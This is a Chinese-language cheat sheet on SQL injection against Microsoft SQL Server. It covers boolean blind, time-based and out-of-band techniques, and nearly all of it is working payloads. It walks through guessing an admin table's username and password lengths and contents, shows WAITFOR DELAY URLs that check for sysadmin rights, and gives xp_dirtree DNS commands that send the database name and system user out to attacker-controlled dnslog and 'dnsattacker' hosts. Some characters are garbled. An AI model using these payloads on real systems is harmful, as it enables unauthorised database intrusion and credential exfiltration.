目錄:
- 布爾盲注
-
- 第一步 判斷注入
- 第二步 猜解列數
- 第三步 猜資料庫名,表名:
- 第四步 猜解字段
- 第五步 判斷字段長度
- 第六步 猜解字段内容
- 時間盲注
-
- 利用條件
- 注入語句
- OOB 注入
-
- 利用條件
- 原理
- 檢測
- 利用/滲出
布爾盲注
總結:
布爾盲注就是靠逐個猜測與嘗試弱密碼的的方法,有報錯的就是猜錯了,沒報錯就對了。
第一步 判斷注入
- and 1=1
- and 1=2
第二步 猜解列數
- order by 1 #傳回正确
- order by 2 #傳回正确
- order by 3 #抛出錯誤
第三步 猜資料庫名,表名:
- and (select count(*) from sysobjects)>0 #确定SQLSERVER資料庫
- and (select count(*) from manage)>0 #确定資料表
- and (select count(*) from manage)=1,2,3,4,5 #确定長度
第四步 猜解字段
- and exists(select username from manage),#傳回正常,字段名正确
- and exists(select password from manage), #傳回正常,字段名正确
第五步 判斷字段長度
- and exists(select id from manage where ID=1) #判斷ID=1是否存在
-
and exists(select id from manage where len(username)=1 and ID=1)
#猜解username字段長度,依次嘗試
-
and exists(select id from manage where len(username)=8 and ID=1),
#username#字段長度為8
-
and exists(select id from manage where len(password)=1 and ID=1),
#猜解password字段長度
-
and exists(select id from manage where len(password)=16 and ID=1),
#password字段長度為16
第六步 猜解字段内容
-
and exists (select id from manage where - unicode(substring(username,1,1))=65 and ID=1)
#得出數字,然後對照unicode編碼表進行破解
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLicmbw5yYzUmYzkTY5kjY2EWNiVzYilTZmFWMjdjZxYGN4UWY08CX0JXZ252bj91Ztl2Lc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
時間盲注
利用條件
能用堆疊,利用 waitfor delay ‘*’ 延時
注入語句
例:
-
http://127.0.0.1/1.aspx?id=1;if(ascii(substring((select user),1,1)))=100 WAITFOR DELAY ‘0:0:5’
#判斷使用者的第一個字母ascii碼是否為100,是就延時五秒
-
http://192.168.130.137/1.aspx?id=1;if(select IS_SRVROLEMEMBER(‘sysadmin’))=1 WAITFOR DELAY ‘0:0:5’
#看下目前角色是否為資料庫管理者,是就延時五秒
-
http://192.168.130.137/1.aspx?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY ‘0:0:5’
#判斷資料庫名字
OOB 注入
利用條件
- 必須堆疊
- 必須sa
原理
- 是用 xp_subdirs ,xp_dirtree, xp_fileexist, xp_fileexists,xp_getfiledetails,sp_add_jobstep 等方法建立DNS查詢,讀取smb共享域名。
-
也有用 OpenRowset() 和 OpenDatasource() 的辦法,這兩個函數為遠端加載其他mssql資料庫,預設關閉。
declare @host varchar(1024);
select @host=convert(varchar(1024),db_name())+’.vj0r9q.dnslog.cn’;
exec(‘master…xp_subdirs "\\’[email protected]+’"’);
-
或者
exec(‘master…xp_dirtree "\\’[email protected]+’"’);
exec(‘master…xp_fileexist "\\’[email protected]+’\test"’);
檢測
受害者
EXEC master…xp_dirtree ‘\\oob.dnsattacker.com \’ –
利用/滲出
受害者
DECLARE @data varchar (1024 ); SELECT @data = (SELECT system_user ); EXEC(‘master…xp_dirtree "\\’[email protected]+’.oob.dnsattacker.com\foo$"’);